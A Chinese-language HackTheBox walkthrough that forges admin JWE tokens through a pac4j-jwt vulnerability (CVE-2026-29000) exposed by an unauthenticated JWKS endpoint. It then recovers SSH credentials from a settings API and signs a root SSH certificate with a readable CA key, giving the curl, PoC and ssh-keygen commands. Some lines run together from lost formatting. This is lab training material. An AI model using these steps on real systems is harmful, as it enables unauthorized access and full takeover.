难度: 中等 操作系统: Linux 平台: HackTheBox
Web 应用程序运行 pac4j-jwt v6.0.3 — 存在 CVE-2026-29000 漏洞。公钥 RSA 密钥通过 JWKS 端点以未认证方式暴露,可用于伪造有效的管理员 JWE 令牌,从而完全绕过身份验证。获得管理员访问权限后,可从设置 API 中恢复明文 SSH 凭据。该服务账户是 deployers 组的成员,对 sshd 信任的 SSH CA 私钥具有读取权限 — 签署授予 root 访问权限的证书即可完成该靶机。
浏览 Web 应用程序并查看页面源代码。在 /static/js/app.js 中找到主要 JavaScript 包。
在 app.js 中识别出的关键 API 端点:
/api/auth/login
/api/auth/jwks <- 公钥端点(未认证)
/api/dashboard
/api/users
/api/settings
页面页脚显示:pac4j-jwt v6.0.3 — 存在 CVE-2026-29000 漏洞。
从未认证的 JWKS 端点获取 RSA 公钥:
curl http://<TARGET_IP>:8080/api/auth/jwks
# 返回 RSA 公钥(kid: enc-key-1)
CVE-2026-29000 允许使用公钥伪造有效的 JWE 令牌 — 该库错误地接受使用公钥加密的令牌,而不是要求使用私钥。
使用 PoC 生成伪造的管理员令牌:
python3 poc.py \
--jwks http://<TARGET_IP>:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
在 Burp Repeater 中使用伪造令牌作为 Bearer 令牌:
Authorization: Bearer <forged_token>
GET /api/dashboard → 200 OK
ROLE_ADMINsvc-deploy 的 CERT_ISSUED 操作GET /api/settings → 200 OK
/opt/principal/ssh/使用从 /api/settings 恢复的凭据通过 SSH 登录:
ssh svc-deploy@<TARGET_IP>
获取用户标志。
svc-deploy 属于 deployers 组,对 /opt/principal/ssh/ 具有读取权限:
ls -la /opt/principal/ssh/
# ca — RSA 4096 位 CA 私钥(deployers 组可读)
# ca.pub — CA 公钥
# README.txt — 确认 CA 受 sshd 信任
CA 私钥可读。由于 sshd 信任此 CA,任何由其签名的证书都会被接受 — 包括授予 root 访问权限的证书。
# 生成新的密钥对
ssh-keygen -t ed25519 -f /tmp/privesc
# 使用 CA 签名,授予 principal 'root'
ssh-keygen -s /opt/principal/ssh/ca -I pwned -n root -V +1h /tmp/privesc.pub
# 以 root 身份 SSH 登录
ssh -i /tmp/privesc root@<TARGET_IP>
获取 root 标志。
/home/svc-deploy/user.txt/root/root.txt